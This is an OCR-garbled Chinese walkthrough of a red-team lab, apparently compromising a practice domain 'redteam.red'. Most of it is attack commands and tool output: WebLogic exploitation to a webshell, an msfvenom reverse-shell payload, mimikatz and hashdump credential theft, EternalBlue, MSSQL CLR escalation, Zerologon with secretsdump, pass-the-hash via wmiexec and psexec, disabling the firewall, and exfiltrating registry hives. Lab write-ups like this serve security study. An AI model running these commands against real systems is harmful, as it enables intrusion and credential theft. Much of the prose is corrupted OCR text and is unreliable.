MSF ZEAMBEETE - 5T
N4 X

TR, SEAZEEARMX

NRZENEEZETE & A RIS ENNA R ERNEE
X BAR#ATIZENIN, MINRFT REIAREDISIE, ?‘é‘féﬁﬂyﬁéﬁ\
MM BRAVE 2.

$B17 T S dhit:

https://pan.baidu.com/s/1D0aDrsDsB2aW@sHSO_-fZQ
2B vbi2

FEIZ IR FME

| SMRIP: 192.168.10x (dhcpHE, HRiEE)
I ARIP: 1010.2012 (HEES)
: Wwindows 2012

‘ ]
| AFIP 1z 1010.207 (REAES) |
; AmRFIP 2: 1010107 (EEVER) |

Windows 7 l

AFIP: 10.10.10.18 (HEHES)

I

I FFIe: 1010.108 (REVES)
Windows 2008 !

I

Windows 2008

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002558-76d99340-0c36-1.png)
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b UIRESE

1#2: Windows Server 2008 + IIS + Exchange 2013 HR4ARSS
BREERERZE: redteam!@#45

FHBZ: owa

R administrator:Adminl2345!

AR SS2Mssql: Windows Server 2008 + SQL Server 2008 (#%EC
BTIFIREIR)

EHE: sqlserver-2008

AHEE R : Administrator:Admin12345

K : redteam\sqlserver:Serverl2345 (WEETAREIR)
Mssql: sa:sa

HRPMAPC: Windows 7

FHBE: work-7

HEIER : john: admin!@#45
kP : redteam\saul :admin!@#45

BHARSEES: Windows server r2 + weblogic

F#H&: weblogic

AMEIE SR : Administrator:Adminl2345

weblogic : weblogic: weblogicl23 (3h(@ http://ip:7001)
weblogic R&EBHF:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\bas
e_domain (F&NEfTT startWebLogic.cmd)

Hitig A, :

RS, : redteam\sqlserver:Serverl2345 (HEETAREIR)
BRERF . redteam\mail :admin!@#45

g~ : redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (#KEETIEAREIR)
redteam\gu:Gul2345

redteam\apt404:Apt12345

ﬂ:)ﬁ' Windows Server 2012 R2 )ﬁ,

£ C:\Oracle\Middleware\Oracle_Home\use r_projects\domains\base_domain

BE TWNE startWeblLogic.cmd I=F) weblogic .

AW 4 Ien ey L. e



E1LHkSS 2%

BERINEZX2Z TR IP : 192.168.10.22 . FH Nmap XJEE
R T E B R HE:
nmap.exe -pl-65535 -Pn -A -T4 192.168.10.22 .

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002606-7¢1421d6-0c36-1.png)

RIERWER A 7001 ImTFTE Oracle WeblLogic , H—1&F
EERRARE, MIBERRELZEERZREN.

python .\ws.py -t 192.168.10.22
[CVE-2017-3506][192.168.16.22:7601] Not vulnerability.
[CVE-2017-102711[192.168.16.22:7001] Not vulnerability.
151 [INFO] [weblogic Console][192.168 2:7601] Not found.
151 [INFO] [CVE-2014-4210][192.168.10 901] Not Found.

3u:15][INFO] [-]
-1
-1
-1
:16] [INFO] [+][CVE-2016-3510][192.168.10 001] Exists vulnerability!
-1
+]

3u:15] [INFO]

L1
.2
.2
161 [INFO] [CVE-2016-0638]1[192.168.10.22:7001] Not vulnerability.
161 [INFO] [CVE-2017-3208]1[192.168.10.22:7001] Exists vulnerability!
171 [INFO] [-][CVE-2018-289u1[192.168.10.2:
2171 [1nFO] [-1[cvE-2018-3252]1[192.168.16.22: .

.22:7001] Exists vulnerability!

.22:7001] Found module, Please verify manually!

.22:7001] Not vulnerability.

.22:7001] Exists vulnerability!

.22:7001] Exists vulnerability!

.2

:18] [INFO] [+][CVE-2018-2628]1[192.168.16
2191 [INFO] [+][CVE-2019-26181[192.168.16
:191[INFO] [-][CVE-2019-2725]1[192.168.10
:20] [INFO] [+][CVE-2018-3191]1[192.168.16
:20][INFO] [+][CVE-2018-28931[192.168.10
1211 [INFO] [+][CVE-2019-2888][192.168.10.22:7601] Found module, Please verify manually!
:211[1INFO] [!][CVE-2020-14882]1[192.168.10.22:7601] Connection error.

2211 [INFO] [-][CVE-2026-14882][192.168.16.22:7601] Not vulnerability.

2221 [INFO] [+][CVE-2019-28901[192.168.10.22:7001] Exists vulnerability!

2221 [INFO] [+][CVE-2020-2551]1[192.168.16.22:7001] Found module, Please verify manually!
2221 [1NFo] [-1[cvE-2018-32u5]1[192.168.16.22:7601] Not vulnerability.

:22] [INFO] [-][CVE-2026-1u883]1[192.168.10.22:7601] Not vulnerability.

23] [INFO] [-]1[CVE-2019-2729]1[192.168.10.22:7601] Not vulnerability.

2261 [INFO] [+][CVE-2020-2555][192.168.16.22:7601] Exists vulnerability!

2261 [INFO] [+][CVE-2020-2883]1[192.168.16.22:7601] Exists vulnerability!

:34] [INFO] [-][CVE-2020-147501[192.168.10.22:7601] Not vulnerability.

completed, 26 seconds total.

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002615-8133048e-0c36-1.png)

Eﬁéﬁlﬁﬂ:ﬂ-, EI)”.,% administrator E’\]*XBE, E?;nz/I)\lj\]@
5, Kig 4.
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URL ‘hllp:lﬁ92.168.10.22:7001/

iR |C\JE.ZU17.1UZ71 ‘,‘

BERF | HARED | —#SAwebsnell | JRMPRFAM | INDRHAAA

&4 \whoami |

weblogic\administrator

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002622-85b98bc2-0c36-1.png)

URL ‘hllp:lﬁ92.168.10.22:7001/

EeES] |CVE72017710271 ‘-‘

BB [ @ART [ EAWFDS | @5 Awebshell | JRMPRHAF | JNDIRHAM

WELEE |i’KlEServ\e( M

http://192.168.10.22:7001/bea_wls_internal/checklogin

[+] FEA VKIS Py 77 14 e 2 T T
vk servietii il
% i pass1024

URL: | httpy//192.168.10.22:7001/bea _wls_internal/checklogin ==
EAEE | HTHT | ENLEE | MEE | ANSE | B¥chell | BEREE | BEUAE | FOEE | FEDE | 853 | EFEE

THzE
JAVA_PROPERTIES=-Dwls home=C:\Oracle MIDDLE~1'ORACLE~1'wlserveriserver -

Dweblogic home=C:\Oracle MIDDLE~1'"ORACLE~1'wlserver\server

MEM_PERM_SIZE=-XX PermSize=128m

FMWLAUNCH_CLASSPATH=C:\Oracle MIDDLE~1'\ORACLE~1'oracle_common'modules\features'cieCfg_wls_lib_12.1.3 jar
JAVA VENDOR=Oracle

SESSIONNAME—Console

ALLUSERSPROFILE=C:'ProgramData

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002629-89d4796a-0c36-1.png)

BATA PC

HET vz XERIWERG, BT ABRESSFHNREF, X T
BEBED— T TAE:

o FIEFH SRS E NS WK, AEAMEMWE, AN
B2 EFERENLES;

o REWENSFLENERER, LLMSRAIMHE. IKS
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WA, B EEIRRRME.

HFBENETHNRELRR administrator IR, EFHATER
AN, tasklist EREHBRITFERIK.

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002641-907c8a00-0c36-1.png)

*U}Eﬁ msfvenom EE‘Z—/I\ payload :
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -

, FEREENE, wsF 4.

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002648-94d617f6-0c36-1.png)
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M—T243:

o HMEXBshEFRAVERD:

run windows/gather/credentials/windows_autologin .

o SHZRRANEZA: hashdump .

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002756-bd3f791c-0c36-1.png)

ccef20806485269c20db2cad21734fe7

NTLWM

Admin12345

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002802-c106188a-0c36-1.png)

e

22l Administrator B9ZREY Admin12345 , EREEEEE:

net view /domain , RIMZNEZFHATEITA.

ime /domain

/ in
or 1312 has occurred.

A specified logon session does not exist. It may already have been terminated.

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002809-c54281ea-0c36-1.png)
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BN EERIMENNE, FIFE fscan HFHIE—TMWE:
fscan64.exe -h 10.10.20.0/24 > result.txt , KINMERAZIEF
AONLES 10.10.20.7 , 445 IO, SRIUTFEE Ms17-010 iR
il

: Intel(R) 82574L
Hardware MAC : @0:@8c:29:64:56:fU
MTU : 1508
IPvd Address : 192.168.18.22
IPvl Netmask : 255.255.255.8
IPv6 Address : fe8@::25df:122d:ala5:6b99
IPv6 Netmask : FFFf:Ffff:FFFF:FFFf::

: Intel(R) 82574L O
Hardware MAC : @0:@8c:29:6U:56:fe
MTU © 1500
IPvd Address : 10.10.20.12
IPvl Netmask : 255.255.255.8
IPvé Address : fe8@::duUe5:c3fa:aSel:dudf
IPv6 Netmask : FFFf:Ffff:FFFF:FFFf::

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002822-cd27cac8-0c36-1.png)

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
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(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002836-d54a610c-0c36-1.png)

WINEEH, HE—T Ms17-010 .

run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p

search ms17-010

use 3

set rhost 10.10.20.7
run

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002845-daale508-0c36-1.png)
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(https://xzfle.aliyuncs.com/media/upload/picture/202207/2
6002853-dfb9553a-0c36-1.png)

RIHHFEE ms17-010 , FI
FH exploit/windows/smb/ms17_010_eternalblue H1TI T, INE
TizAlLEs.

search msl17-010

use 0

set payload windows/x64/meterpreter/bind_tcp
set lport 11111

run

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6002903-e5a142be-0c36-1.png)

HEBE— TR, RMEIEME system R, B AFEEHITIEWN
HOIRME, B mimikatz IM—TFED, RIZENEEIF
15 redteam.red A, HFEZEZEI—AEFHKF AR AMZ:

saul :admin!@#45 .

load mimikatz
creds_all



https://xzfile.aliyuncs.com/media/upload/picture/20220726002853-dfb9553a-0c36-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20220726002903-e5a142be-0c36-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20220726002910-e9936794-0c36-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
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AEARY A B EIN— T3, RIHZEE—ARBE AP R

P AT john:admin!@#45

hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003112-3227eb38-0c37-1.png)

I AARS 28 Mssql

EEMEBRRIMMER, SERINEEH.
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meterpreter > |

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003118-35aaef76-0c37-1.png)

J:{?—/l\ fscan , E?ﬁ_—FMEQ, ﬁbnuﬁﬁ_:_
& Windows Server 2008 R2 H183: 10.10.10.18 , FF T 1433 i
O, ABRE—H’B5O<: sa:sa .

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003127-3b519826-0c37-1.png)

MSF BCE Proxifier FF/B socks {LIERZIE, I
F8 SharpsqQLTools 1T <, KII2 10.10.10.18 H2Z2—"ME
PEEAIMKES network service .

eeeee

aaaaaa

semuULOOD

xe 10.10.10.18 sa sa

aaaaa

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
ANNRMTRE_ANNOFAAR_NART_1 nna)
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(VAVAVIU R LVIVEEES AVAVAVE RV IVIVERRVIVIV Y MYy

ZZ MSSQL FJAH CLR HAWITRAGS
(https://cloud.tencent.com/developer/article/1736431) H#
75, AT clr 124X, BINIEANE] system HXER.

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato
whoami

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003143-44d63320-0c37-1.png)

*U}Eﬁ exploit/windows/mssql/mssql_clr_payload 1‘%5&, ?Eﬁﬁﬂﬂ‘XBE
kS E2, 55 EEARD, FIE SharpsQLTools BITIHEISINER.

ge (200774 bytes> to 10. a.
ession 3 opened {18.18. H via session 2} at 2822-87-25 18:43:34 +A8AA

yindows WEBLOGIC\Administrator @ WEBLOGIC L9:7777 —> 192.168.18.27:49169
(192.168.18.27>
ws NT AUTHORITY“\SYSTEM @ WORK-7 108.108.20.12:49198 -> 10.10.20.7:8888 via
€108.108.28.7>

se
windows REDTEAM\Administrator B SQLSERVER-2088 18 ?:49177 -> 1A.1@.1@.18:5555 via
se. <1@.1@.1@.18>

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003150-4921f9fa-0c37-1.png)

EEERA mimikatz MMB—TRFIL BEIRMTAPNAFBEH

L el -
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fi5: Administrator:Adminl2345 , sqlserver:Serverl2345 .

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003158-4d80ec68-0c37-1.png)

OE

HFAEFEFRINNER T, ERIE fscan HIRAWMERFPEFE—
T 10.10.10.8 BUithlE, NFHEEI/MZMUAINZEFEEE T, THE
EEZUNOETZAaNF.
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FHRE—TxellSEa2EiEH S, ARG ESE:
o FHEANFEITFI 380 M 53 IinOAIHEE.

o EFREIEHIZRA:

net group "domain controllers" /domain .

:\Windowsssystem32>net group “domain controllers" sdomain
et group "domain controllers' /domain
he request will bhe processed at a domain controller for domain redteam.red.

Domain Controllers
77777777777IIIT

he command completed successfully.

:\Mindows~systemd2>

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003213-56672bc6-0c37-1.png)

o EREENNASER:

nslookup redteam.red; nslookup -type=SRV _ldap._tcp .

:\sersisqlserver-Desktop>ns lookup redteam.red

a redtean.red
Address: 16.10.10.8

:\sersisglserver-Desktop>ns lookup —type=SRU _ldap._tcp
slookup —type=§RU _ldap._tcp
time ut .

=8a

= 389
sur hostname = owa.redteam.red
pwa.redteam.red internet address = 10.18.18.8

: WsersisglserversDesktop?

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003222-5bc79a24-0c37-1.png)

o BEIFITHBIME: net time /domain .
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“MWindows“system32>net time sdomain
et time sdomain
urrent time at ““owa.redteam.red is 2822-7-25 19:19:88

he command completed successfully.

“Windows“system32>

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003231-615661e6-0c37-1.png)

WEZElEEEEHRGE, RIBERAEEZINA Netlogon 45
PURFAIRIE Cve-2020-1472 TR, IFHAB N AMBE - Ik
SHN
(https://www.freebuf.com/articles/system/288515.html) .

FERIETFTE Netlogon FHURAREGE, KEE— TEHIKS, BT
ZARL: python cve-2020-1472-exploit.py OWA 10.10.10.8 .

C:\Tools\anaconda3\python.exe .\cv

[l
e-2020-1472-exploit.py OWA 16.10.10.8

Performing authentication attempts ..

Target vulnerable, changing account password to empty string

Result: @

Exploit complete!

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003239-660eddb2-0c37-1.png)

EEIERUEEFRN hash

python secretsdump.py redteam.red/0OWA$@10.10.10.8 -just-dc -no-pass
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SREXZIAY hash [FFIF impacket ARAY wmiexec.py BHIZANHITE
%, INZEER shell :
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff5

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003256-703906¢8-0c37-1.png)

IEAT, RRINFRENZE TR shell . (BRIX shell HAERTE
0, EXMERBANEREHA D HTIREITHVRE, &%

El hash Zf5, oA FARTEESREXZIRY shell KH—TRHAIE:
netsh advfirewall set allprofiles state off , ¥FE{ERALA(E
F3 psExec #EIR E4 MsF HFHITIRERIIRIET.

use exploit/windows/smb/psexec

set SMBUser administrator

set SMBPass
aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cf 51
298880e

set payload windows/x64/meterpreter/bind_tcp

set rhost 10.10.10.8

set lport 4446

run
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FEIENE, AHEIRESFERTREEZENER, R
Rt

NS sav FERARY hash , FIFA MSF B9 shell FETHE
H S HBR, BIRIRL.

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

download C:\\sam.save C:\\Users\\95235\\Desktop\\sam.save
download C:\\security.save
C:\\Users\\95235\\Desktop\\security.save

download C:\\system.save
C:\\Users\\95235\\Desktop\\system.save

del /f sam.save
del /f system.save
del /f security.save

C:\>netsh advfiremall set allprofiles state off
HWE,

C:\>reg save HKLM\SYSTEM system.save
BIFmRINS L.

BIEMMFTAL.
C:\>reg save HKLM\SECURITY security.save

EHFIISE 2085
c\ WER

2021/11/04 16:47 ExchangeSetupLogs
2021/11/04 14:19 <DIR> inetpub
2009/07/14 11:28 <DIR> PerflLogs
20821/11/684 17:688 <DIR> Program Files
2821/11/84 17:88 <DIR> Program Files (x86)
2022/07/25 23:17 28,672 sam.save
2022/07/25 23:17 48,960 security.save
2022/07/25 23:17 11,726,848 system.save
20821/11/64 13:52 <DIR> Users
2022/07/25 23:17 <DIR> Windows

3 A 11,796,480 F T

7 NEF 26,800,625, 008 JHFT
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C:\>del /f sam.save
C:\>del /f system.save
C:\>del /f security.save

C:\>exit
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ZETARIA secretsdump.py BE— FFHIER hash :

python secretsdump.py -sam sam.save -system system.save -security security.save LOC

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
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FUFMIZAS reinstall_original_pw.py PRE hash :

python reinstall_original_pw.py OWA 10.10.10.8 f4Q44edaafbdca4la6e53d234cl4ab9a
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e REEZEERETERRINEE S RE BRI

python secretsdump.py redteam.red/0OWA$@10.10.10.8 -just-dc -no-pass

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003349-8fd66dcc-0c37-1.png)

RE

(https://xzfile.aliyuncs.com/media/upload/picture/2022072
6003356-93cbc8c8-0c37-1.png)

FRFFTIINRE T crs BPtA. (FH o RRAE RRITEDT


https://xzfile.aliyuncs.com/media/upload/picture/20220726003343-8c146356-0c37-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20220726003349-8fd66dcc-0c37-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20220726003356-93cbc8c8-0c37-1.png

O OO Al Wi Ny L P o = = T g ) Al D = s o 1 ) NS O T e

BHRMRGERT vk, EFRG—TESXT vk FIVEERIE
A, ITEBIRRFRBERER AN, EENMEEE L T —1 5
IHFERERNER, R EBAIHE( ] A DAARERE A =1 —
TEAMATIE.

GPP: admin:admin!@#u5
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MNTENERBIUMENZET D ZNE— T ZBNEREEARG
MARB| B3ZiF 0 BRI EURR, (ERRRR S HERMIT. 5
— sqlserver-2008 FBEMZZHT Sql Server 2008 IF{ZITHAY,
BEAGSITEIEFEMN: net start mssqlserver .

o SRIRAMBERIE (https://xz.aliyun.com/t/8001#toc—
3)

o AMZIE - kSN
(https://www.freebuf.com/articles/system/288515.h
tml)

e MFMNY Weblogic fT#HAN, BEIARFIREEEHIE
(https://mp.weixin.qg.com/s?
__biz=MzkxNDEwMDA4Mw==8&mid=2247488950&idx
=1&sn=48d93f1fac38eae99ccde/8474eb557c&scene

=21#twechat_redirect)
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